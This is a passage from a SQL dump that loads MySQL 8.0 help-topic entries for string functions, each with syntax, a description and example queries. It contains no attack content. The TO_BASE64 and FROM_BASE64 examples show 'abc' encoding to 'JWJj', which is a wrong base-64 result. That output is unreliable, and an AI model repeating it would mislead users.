set (0.00 sec)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT CHAR(77,121,83,81,\'76\');\n+--------------------------------------------------+\n| CHAR(77,121,83,81,\'76\') |\n+--------------------------------------------------+\n| 0x4D7953514C |\n+--------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT CHAR(77,77.3,\'77.3\');\n+--------------------------------------------+\n| CHAR(77,77.3,\'77.3\') |\n+--------------------------------------------+\n| 0x4D4D4D |\n+--------------------------------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(187,'CHAR_LENGTH',15,'Syntax:\nCHAR_LENGTH(str)\n\nReturns the length of the string str, measured in code points. A\nmultibyte character counts as a single code point. This means that, for\na string containing two 3-byte characters, LENGTH() returns 6, whereas\nCHAR_LENGTH() returns 2, as shown here:\n\nmysql> SET @dolphin:=\'海豚\';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SELECT LENGTH(@dolphin), CHAR_LENGTH(@dolphin);\n+------------------+-----------------------+\n| LENGTH(@dolphin) | CHAR_LENGTH(@dolphin) |\n+------------------+-----------------------+\n| 6 | 2 |\n+------------------+-----------------------+\n1 row in set (0.00 sec)\n\nCHAR_LENGTH() returns NULL if str is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(188,'CHARACTER_LENGTH',15,'Syntax:\nCHARACTER_LENGTH(str)\n\nCHARACTER_LENGTH() is a synonym for CHAR_LENGTH().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(189,'CONCAT',15,'Syntax:\nCONCAT(str1,str2,...)\n\nReturns the string that results from concatenating the arguments. May\nhave one or more arguments. If all arguments are nonbinary strings, the\nresult is a nonbinary string. If the arguments include any binary\nstrings, the result is a binary string. A numeric argument is converted\nto its equivalent nonbinary string form.\n\nCONCAT() returns NULL if any argument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT CONCAT(\'My\', \'S\', \'QL\');\n -> \'MySQL\'\nmysql> SELECT CONCAT(\'My\', NULL, \'QL\');\n -> NULL\nmysql> SELECT CONCAT(14.3);\n -> \'14.3\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(190,'CONCAT_WS',15,'Syntax:\nCONCAT_WS(separator,str1,str2,...)\n\nCONCAT_WS() stands for Concatenate With Separator and is a special form\nof CONCAT(). The first argument is the separator for the rest of the\narguments. The separator is added between the strings to be\nconcatenated. The separator can be a string, as can the rest of the\narguments. If the separator is NULL, the result is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT CONCAT_WS(\',\', \'First name\', \'Second name\', \'Last Name\');\n -> \'First name,Second name,Last Name\'\nmysql> SELECT CONCAT_WS(\',\', \'First name\', NULL, \'Last Name\');\n -> \'First name,Last Name\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(191,'ELT',15,'Syntax:\nELT(N,str1,str2,str3,...)\n\nELT() returns the Nth element of the list of strings: str1 if N = 1,\nstr2 if N = 2, and so on. Returns NULL if N is less than 1, greater\nthan the number of arguments, or NULL. ELT() is the complement of\nFIELD().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT ELT(1, \'Aa\', \'Bb\', \'Cc\', \'Dd\');\n -> \'Aa\'\nmysql> SELECT ELT(4, \'Aa\', \'Bb\', \'Cc\', \'Dd\');\n -> \'Dd\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(192,'EXPORT_SET',15,'Syntax:\nEXPORT_SET(bits,on,off[,separator[,number_of_bits]])\n\nReturns a string such that for every bit set in the value bits, you get\nan on string and for every bit not set in the value, you get an off\nstring. Bits in bits are examined from right to left (from low-order to\nhigh-order bits). Strings are added to the result from left to right,\nseparated by the separator string (the default being the comma\ncharacter ,). The number of bits examined is given by number_of_bits,\nwhich has a default of 64 if not specified. number_of_bits is silently\nclipped to 64 if larger than 64. It is treated as an unsigned integer,\nso a value of −1 is effectively the same as 64.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT EXPORT_SET(5,\'Y\',\'N\',\',\',4);\n -> \'Y,N,Y,N\'\nmysql> SELECT EXPORT_SET(6,\'1\',\'0\',\',\',10);\n -> \'0,1,1,0,0,0,0,0,0,0\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(193,'FIELD',15,'Syntax:\nFIELD(str,str1,str2,str3,...)\n\nReturns the index (position) of str in the str1, str2, str3, ... list.\nReturns 0 if str is not found.\n\nIf all arguments to FIELD() are strings, all arguments are compared as\nstrings. If all arguments are numbers, they are compared as numbers.\nOtherwise, the arguments are compared as double.\n\nIf str is NULL, the return value is 0 because NULL fails equality\ncomparison with any value. FIELD() is the complement of ELT().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT FIELD(\'Bb\', \'Aa\', \'Bb\', \'Cc\', \'Dd\', \'Ff\');\n -> 2\nmysql> SELECT FIELD(\'Gg\', \'Aa\', \'Bb\', \'Cc\', \'Dd\', \'Ff\');\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(194,'FIND_IN_SET',15,'Syntax:\nFIND_IN_SET(str,strlist)\n\nReturns a value in the range of 1 to N if the string str is in the\nstring list strlist consisting of N substrings. A string list is a\nstring composed of substrings separated by , characters. If the first\nargument is a constant string and the second is a column of type SET,\nthe FIND_IN_SET() function is optimized to use bit arithmetic. Returns\n0 if str is not in strlist or if strlist is the empty string. Returns\nNULL if either argument is NULL. This function does not work properly\nif the first argument contains a comma (,) character.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT FIND_IN_SET(\'b\',\'a,b,c,d\');\n -> 2\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(195,'FORMAT',15,'Syntax:\nFORMAT(X,D[,locale])\n\nFormats the number X to a format like \'#,###,###.##\', rounded to D\ndecimal places, and returns the result as a string. If D is 0, the\nresult has no decimal point or fractional part. If X or D is NULL, the\nfunction returns NULL.\n\nThe optional third parameter enables a locale to be specified to be\nused for the result number\'s decimal point, thousands separator, and\ngrouping between separators. Permissible locale values are the same as\nthe legal values for the lc_time_names system variable (see\nhttps://dev.mysql.com/doc/refman/8.0/en/locale-support.html). If the\nlocale is NULL or not specified, the default locale is \'en_US\'.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT FORMAT(12332.123456, 4);\n -> \'12,332.1235\'\nmysql> SELECT FORMAT(12332.1,4);\n -> \'12,332.1000\'\nmysql> SELECT FORMAT(12332.2,0);\n -> \'12,332\'\nmysql> SELECT FORMAT(12332.2,2,\'de_DE\');\n -> \'12.332,20\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(196,'FROM_BASE64',15,'Syntax:\nFROM_BASE64(str)\n\nTakes a string encoded with the base-64 encoded rules used by\nTO_BASE64() and returns the decoded result as a binary string. The\nresult is NULL if the argument is NULL or not a valid base-64 string.\nSee the description of TO_BASE64() for details about the encoding and\ndecoding rules.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT TO_BASE64(\'abc\'), FROM_BASE64(TO_BASE64(\'abc\'));\n -> \'JWJj\', \'abc\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(197,'HEX',15,'Syntax:\nHEX(str), HEX(N)\n\nFor a string argument str, HEX() returns a hexadecimal string\nrepresentation of str where each byte of each character in str is\nconverted to two hexadecimal digits. (Multibyte characters therefore\nbecome more than two digits.) The inverse of this operation is\nperformed by the UNHEX() function.\n\nFor a numeric argument N, HEX() returns a hexadecimal string\nrepresentation of the value of N treated as a longlong (BIGINT) number.\nThis is equivalent to CONV(N,10,16). The inverse of this operation is\nperformed by CONV(HEX(N),16,10).\n\nFor a NULL argument, this function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT X\'616263\', HEX(\'abc\'), UNHEX(HEX(\'abc\'));\n -> \'abc\', 616263, \'abc\'\nmysql> SELECT HEX(255), CONV(HEX(255),16,10);\n -> \'FF\', 255\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(198,'INSERT FUNCTION',15,'Syntax:\nINSERT(str,pos,len,newstr)\n\nReturns the string str, with the substring beginning at position pos\nand len characters long replaced by the string newstr. Returns the\noriginal string if pos is not within the length of the string. Replaces\nthe rest of the string from position pos if len is not within the\nlength of the rest of the string. Returns NULL if any argument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT INSERT(\'Quadratic\', 3, 4, \'What\');\n -> \'QuWhattic\'\nmysql> SELECT INSERT(\'Quadratic\', -1, 4, \'What\');\n -> \'Quadratic\'\nmysql> SELECT INSERT(\'Quadratic\', 3, 100, \'What\');\n -> \'QuWhat\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(199,'INSTR',15,'Syntax:\nINSTR(str,substr)\n\nReturns the position of the first occurrence of substring substr in\nstring str. This is the same as the two-argument form of LOCATE(),\nexcept that the order of the arguments is reversed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT INSTR(\'foobarbar\', \'bar\');\n -> 4\nmysql> SELECT INSTR(\'xbar\', \'foobar\');\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(200,'LCASE',15,'Syntax:\nLCASE(str)\n\nLCASE() is a synonym for LOWER().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(201,'LEFT',15,'Syntax:\nLEFT(str,len)\n\nReturns the leftmost len characters from the string str, or NULL if any\nargument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT LEFT(\'foobarbar\', 5);\n -> \'fooba\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(202,'LENGTH',15,'Syntax:\nLENGTH(str)\n\nReturns the length of the string str, measured in bytes. A multibyte\ncharacter counts as multiple bytes. This means that for a string\ncontaining five 2-byte characters, LENGTH() returns 10, whereas\nCHAR_LENGTH() returns 5. Returns NULL if str is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT LENGTH(\'text\');\n -> 4\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(203,'LOAD_FILE',15,'Syntax:\nLOAD_FILE(file_name)\n\nReads the file and returns the file contents as a string. To use this\nfunction, the file must be located on the server host, you must specify\nthe full path name to the file, and you must have the FILE privilege.\nThe file must be readable by the server and its size less than\nmax_allowed_packet bytes. If the secure_file_priv system variable is\nset to a nonempty directory name, the file to be loaded must be located\nin that directory. (Prior to MySQL 8.0.17, the file must be readable by\nall, not just readable by the server.)\n\nIf the file does not exist or cannot be read because one of the\npreceding conditions is not satisfied, the function returns NULL.\n\nThe character_set_filesystem system variable controls interpretation of\nfile names that are given as literal strings.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> UPDATE t\n SET blob_col=LOAD_FILE(\'/tmp/picture\')\n WHERE id=1;\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(204,'LOCATE',15,'Syntax:\nLOCATE(substr,str), LOCATE(substr,str,pos)\n\nThe first syntax returns the position of the first occurrence of\nsubstring substr in string str. The second syntax returns the position\nof the first occurrence of substring substr in string str, starting at\nposition pos. Returns 0 if substr is not in str. Returns NULL if any\nargument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT LOCATE(\'bar\', \'foobarbar\');\n -> 4\nmysql> SELECT LOCATE(\'xbar\', \'foobar\');\n -> 0\nmysql> SELECT LOCATE(\'bar\', \'foobarbar\', 5);\n -> 7\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(205,'LOWER',15,'Syntax:\nLOWER(str)\n\nReturns the string str with all characters changed to lowercase\naccording to the current character set mapping, or NULL if str is NULL.\nThe default character set is utf8mb4.\n\nmysql> SELECT LOWER(\'QUADRATICALLY\');\n -> \'quadratically\'\n\nLOWER() (and UPPER()) are ineffective when applied to binary strings\n(BINARY, VARBINARY, BLOB). To perform lettercase conversion of a binary\nstring, first convert it to a nonbinary string using a character set\nappropriate for the data stored in the string:\n\nmysql> SET @str = BINARY \'New York\';\nmysql> SELECT LOWER(@str), LOWER(CONVERT(@str USING utf8mb4));\n+-------------+------------------------------------+\n| LOWER(@str) | LOWER(CONVERT(@str USING utf8mb4)) |\n+-------------+------------------------------------+\n| New York | new york |\n+-------------+------------------------------------+\n\nFor collations of Unicode character sets, LOWER() and UPPER() work\naccording to the Unicode Collation Algorithm (UCA) version in the\ncollation name, if there is one, and UCA 4.0.0 if no version is\nspecified. For example, utf8mb4_0900_ai_ci and utf8mb3_unicode_520_ci\nwork according to UCA 9.0.0 and 5.2.0, respectively, whereas\nutf8mb3_unicode_ci works according to UCA 4.0.0. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(206,'LPAD',15,'Syntax:\nLPAD(str,len,padstr)\n\nReturns the string str, left-padded with the string padstr to a length\nof len characters. If str is longer than len, the return value is\nshortened to len characters.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT LPAD(\'hi\',4,\'??\');\n -> \'??hi\'\nmysql> SELECT LPAD(\'hi\',1,\'??\');\n -> \'h\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(207,'LTRIM',15,'Syntax:\nLTRIM(str)\n\nReturns the string str with leading space characters removed. Returns\nNULL if str is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT LTRIM(\' barbar\');\n -> \'barbar\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(208,'MAKE_SET',15,'Syntax:\nMAKE_SET(bits,str1,str2,...)\n\nReturns a set value (a string containing substrings separated by ,\ncharacters) consisting of the strings that have the corresponding bit\nin bits set. str1 corresponds to bit 0, str2 to bit 1, and so on. NULL\nvalues in str1, str2, ... are not appended to the result.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT MAKE_SET(1,\'a\',\'b\',\'c\');\n -> \'a\'\nmysql> SELECT MAKE_SET(1 | 4,\'hello\',\'nice\',\'world\');\n -> \'hello,world\'\nmysql> SELECT MAKE_SET(1 | 4,\'hello\',\'nice\',NULL,\'world\');\n -> \'hello\'\nmysql> SELECT MAKE_SET(0,\'a\',\'b\',\'c\');\n -> \'\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(209,'MID',15,'Syntax:\nMID(str,pos), MID(str FROM pos), MID(str,pos,len), MID(str FROM pos FOR\nlen)\n\nMID(str,pos,len) is a synonym for SUBSTRING(str,pos,len).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(210,'OCT',15,'Syntax:\nOCT(N)\n\nReturns a string representation of the octal value of N, where N is a\nlonglong (BIGINT) number. This is equivalent to CONV(N,10,8). Returns\nNULL if N is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT OCT(12);\n -> \'14\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(211,'OCTET_LENGTH',15,'Syntax:\nOCTET_LENGTH(str)\n\nOCTET_LENGTH() is a synonym for LENGTH().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(212,'ORD',15,'Syntax:\nORD(str)\n\nIf the leftmost character of the string str is a multibyte character,\nreturns the code for that character, calculated from the numeric values\nof its constituent bytes using this formula:\n\n (1st byte code)\n+ (2nd byte code * 256)\n+ (3rd byte code * 256^2) ...\n\nIf the leftmost character is not a multibyte character, ORD() returns\nthe same value as the ASCII() function. The function returns NULL if\nstr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT ORD(\'2\');\n -> 50\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(213,'POSITION',15,'Syntax:\nPOSITION(substr IN str)\n\nPOSITION(substr IN str) is a synonym for LOCATE(substr,str).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(214,'QUOTE',15,'Syntax:\nQUOTE(str)\n\nQuotes a string to produce a result that can be used as a properly\nescaped data value in an SQL statement. The string is returned enclosed\nby single quotation marks and with each instance of backslash (\\),\nsingle quote (\'), ASCII NUL, and Control+Z preceded by a backslash. If\nthe argument is NULL, the return value is the word \"NULL\" without\nenclosing single quotation marks.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT QUOTE(\'Don\\\'t!\');\n -> \'Don\\\'t!\'\nmysql> SELECT QUOTE(NULL);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(215,'REPEAT FUNCTION',15,'Syntax:\nREPEAT(str,count)\n\nReturns a string consisting of the string str repeated count times. If\ncount is less than 1, returns an empty string. Returns NULL if str or\ncount is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT REPEAT(\'MySQL\', 3);\n -> \'MySQLMySQLMySQL\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(216,'REPLACE FUNCTION',15,'Syntax:\nREPLACE(str,from_str,to_str)\n\nReturns the string str with all occurrences of the string from_str\nreplaced by the string to_str. REPLACE() performs a case-sensitive\nmatch when searching for from_str.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT REPLACE(\'www.mysql.com\', \'w\', \'Ww\');\n -> \'WwWwWw.mysql.com\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(217,'REVERSE',15,'Syntax:\nREVERSE(str)\n\nReturns the string str with the order of the characters reversed, or\nNULL if str is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT REVERSE(\'abc\');\n -> \'cba\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(218,'RIGHT',15,'Syntax:\nRIGHT(str,len)\n\nReturns the rightmost len characters from the string str, or NULL if\nany argument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT RIGHT(\'foobarbar\', 4);\n -> \'rbar\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(219,'RPAD',15,'Syntax:\nRPAD(str,len,padstr)\n\nReturns the string str, right-padded with the string padstr to a length\nof len characters. If str is longer than len, the return value is\nshortened to len characters. If str, padstr, or len is NULL, the\nfunction returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT RPAD(\'hi\',5,\'?\');\n -> \'hi???\'\nmysql> SELECT RPAD(\'hi\',1,\'?\');\n -> \'h\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(220,'RTRIM',15,'Syntax:\nRTRIM(str)\n\nReturns the string str with trailing space characters removed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT RTRIM(\'barbar \');\n -> \'barbar\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(221,'SOUNDEX',15,'Syntax:\nSOUNDEX(str)\n\nReturns a soundex string from str, or NULL if str is NULL. Two strings\nthat sound almost the same should have identical soundex strings. A\nstandard soundex string is four characters long, but the SOUNDEX()\nfunction returns an arbitrarily long string. You can use SUBSTRING() on\nthe result to get a standard soundex string. All nonalphabetic\ncharacters in str are ignored. All international alphabetic characters\noutside the A-Z range are treated as vowels.\n\n*Important*:\n\nWhen using SOUNDEX(), you should be aware of the following limitations:\n\no This function, as currently implemented, is intended to work well\n with strings that are in the English language only. Strings in other\n languages may not produce reliable results.\n\no This function is not guaranteed to provide consistent results with\n strings that use multibyte character sets, including utf-8. See Bug\n #22638 for more information.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT SOUNDEX(\'Hello\');\n -> \'H400\'\nmysql> SELECT SOUNDEX(\'Quadratically\');\n -> \'Q36324\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(222,'SOUNDS LIKE',15,'Syntax:\nexpr1 SOUNDS LIKE expr2\n\nThis is the same as SOUNDEX(expr1) = SOUNDEX(expr2).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(223,'SPACE',15,'Syntax:\nSPACE(N)\n\nReturns a string consisting of N space characters, or NULL if N is\nNULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT SPACE(6);\n -> \' \'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(224,'SUBSTR',15,'Syntax:\nSUBSTR(str,pos), SUBSTR(str FROM pos), SUBSTR(str,pos,len), SUBSTR(str\nFROM pos FOR len)\n\nSUBSTR() is a synonym for SUBSTRING().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(225,'SUBSTRING',15,'Syntax:\nSUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len),\nSUBSTRING(str FROM pos FOR len)\n\nThe forms without a len argument return a substring from string str\nstarting at position pos. The forms with a len argument return a\nsubstring len characters long from string str, starting at position\npos. The forms that use FROM are standard SQL syntax. It is also\npossible to use a negative value for pos. In this case, the beginning\nof the substring is pos characters from the end of the string, rather\nthan the beginning. A negative value may be used for pos in any of the\nforms of this function. A value of 0 for pos returns an empty string.\n\nFor all forms of SUBSTRING(), the position of the first character in\nthe string from which the substring is to be extracted is reckoned as\n1.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT SUBSTRING(\'Quadratically\',5);\n -> \'ratically\'\nmysql> SELECT SUBSTRING(\'foobarbar\' FROM 4);\n -> \'barbar\'\nmysql> SELECT SUBSTRING(\'Quadratically\',5,6);\n -> \'ratica\'\nmysql> SELECT SUBSTRING(\'Sakila\', -3);\n -> \'ila\'\nmysql> SELECT SUBSTRING(\'Sakila\', -5, 3);\n -> \'aki\'\nmysql> SELECT SUBSTRING(\'Sakila\' FROM -4 FOR 2);\n -> \'ki\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(226,'SUBSTRING_INDEX',15,'Syntax:\nSUBSTRING_INDEX(str,delim,count)\n\nReturns the substring from string str before count occurrences of the\ndelimiter delim. If count is positive, everything to the left of the\nfinal delimiter (counting from the left) is returned. If count is\nnegative, everything to the right of the final delimiter (counting from\nthe right) is returned. SUBSTRING_INDEX() performs a case-sensitive\nmatch when searching for delim.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT SUBSTRING_INDEX(\'www.mysql.com\', \'.\', 2);\n -> \'www.mysql\'\nmysql> SELECT SUBSTRING_INDEX(\'www.mysql.com\', \'.\', -2);\n -> \'mysql.com\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(227,'TO_BASE64',15,'Syntax:\nTO_BASE64(str)\n\nConverts the string argument to base-64 encoded form and returns the\nresult as a character string with the connection character set and\ncollation. If the argument is not a string, it is converted to a string\nbefore conversion takes place. The result is NULL if the argument is\nNULL. Base-64 encoded strings can be decoded using the FROM_BASE64()\nfunction.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT TO_BASE64(\'abc\'), FROM_BASE64(TO_BASE64(\'abc\'));\n -> \'JWJj\', \'abc\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(228,'TRIM',15,'Syntax:\nTRIM([{BOTH | LEADING | TRAILING} [remstr] FROM] str), TRIM([remstr\nFROM] str)\n\nReturns the string str with all remstr prefixes or suffixes removed. If\nnone of the specifiers BOTH, LEADING, or TRAILING is given, BOTH is\nassumed. remstr is optional and, if not specified, spaces are removed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT TRIM(\' bar \');\n -> \'bar\'\nmysql> SELECT TRIM(LEADING \'x\' FROM \'xxxbarxxx\');\n -> \'barxxx\'\nmysql> SELECT TRIM(BOTH \'x\' FROM \'xxxbarxxx\');\n -> \'bar\'\nmysql> SELECT TRIM(TRAILING \'xyz\' FROM \'barxxyz\');\n -> \'barx\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(229,'UCASE',15,'Syntax:\nUCASE(str)\n\nUCASE() is a synonym for UPPER().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(230,'UNHEX',15,'Syntax:\nUNHEX(str)\n\nFor a string argument str, UNHEX(str) interprets each pair of\ncharacters in the argument as a hexadecimal number and converts it to\nthe byte represented by the number. The return value is a binary\nstring.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','mysql> SELECT UNHEX(\'4D7953514C\');\n -> \'MySQL\'\nmysql> SELECT X\'4D7953514C\';\n -> \'MySQL\'\nmysql> SELECT UNHEX(HEX(\'string\'));\n -> \'string\'\nmysql> SELECT HEX(UNHEX(\'1267\'));\n -> \'1267\'\n','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(231,'UPPER',15,'Syntax:\nUPPER(str)\n\nReturns the string str with all characters changed to uppercase\naccording to the current character set mapping, or NULL if str is NULL.\nThe default character set is utf8mb4.\n\nmysql> SELECT UPPER(\'Hej\');\n -> \'HEJ\'\n\nSee the description of LOWER() for information that also applies to\nUPPER(). This included information about how to perform lettercase\nconversion of binary strings (BINARY, VARBINARY, BLOB) for which these\nfunctions are ineffective, and information about case folding for\nUnicode character sets.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(232,'WEIGHT_STRING',15,'Syntax:\nWEIGHT_STRING(str [AS {CHAR|BINARY}(N)] [flags])\n\nThis function returns the weight string for the input string. The\nreturn value is a binary string that represents the comparison and\nsorting value of the string, or NULL if the argument is NULL. It has\nthese properties:\n\no If WEIGHT_STRING(str1) = WEIGHT_STRING(str2), then str1 = str2 (str1\n and str2 are considered equal)\n\no If WEIGHT_STRING(str1) < WEIGHT_STRING(str2), then str1 < str2 (str1\n sorts before str2)\n\nWEIGHT_STRING() is a debugging function intended for internal use. Its\nbehavior can change without notice between MySQL versions. It can be\nused for testing and debugging of collations, especially if you are\nadding a new collation. See\nhttps://dev.mysql.com/doc/refman/8.0/en/adding-collation.html.\n\nThis list briefly summarizes the arguments. More details are given in\nthe discussion following the list.\n\no str: The input string expression.\n\no AS clause: Optional; cast the input string to a given type and\n length.\n\no flags: Optional; unused.\n\nThe input string, str, is a string expression. If the input is a\nnonbinary (character) string such as a CHAR, VARCHAR, or TEXT value,\nthe return value contains the collation weights for the string. If the\ninput is a binary (byte) string such as a BINARY, VARBINARY, or BLOB\nvalue, the return value is the same as the input (the weight for each\nbyte in a binary string is the byte value). If the input is NULL,\nWEIGHT_STRING() returns NULL.\n\nExamples:\n\nmysql> SET @s = _utf8mb4 \'AB\' COLLATE utf8mb4_0900_ai_ci;\nmysql> SELECT @s, HEX(@s), HEX(WEIGHT_STRING(@s));\n+------+---------+------------------------+\n| @s | HEX(@s) | HEX(WEIGHT_STRING(@s)) |\n+------+---------+------------------------+\n| AB | 4142 | 1C471C60 |\n+------+---------+------------------------+\n\nmysql> SET @s = _utf8mb4 \'ab\' COLLATE utf8mb4_0900_ai_ci;\nmysql> SELECT @s, HEX(@s), HEX(WEIGHT_STRING(@s));\n+------+---------+------------------------+\n| @s | HEX(@s) | HEX(WEIGHT_STRING(@s)) |\n+------+---------+------------------------+\n| ab | 6162 | 1C471C60 |\n+------+---------+------------------------+\n\nmysql> SET @s = CAST(\'AB\' AS BINARY);\nmysql> SELECT @s, HEX(@s), HEX(WEIGHT_STRING(@s));\n+------+---------+------------------------+\n| @s | HEX(@s) | HEX(WEIGHT_STRING(@s)) |\n+------+---------+------------------------+\n| AB | 4142 | 4142 |\n+------+---------+------------------------+\n\nmysql> SET @s = CAST(\'ab\' AS BINARY);\nmysql> SELECT @s, HEX(@s), HEX(WEIGHT_STRING(@s));\n+------+---------+------------------------+\n| @s | HEX(@s) | HEX(WEIGHT_STRING(@s)) |\n+------+---------+------------------------+\n| ab | 6162 | 6162 |\n+------+---------+------------------------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-functions.html'),(233,'LIKE',15,'Syntax:\nexpr LIKE pat [ESCAPE \'escape_char\']\n\nPattern matching using an SQL pattern. Returns 1 (TRUE) or 0 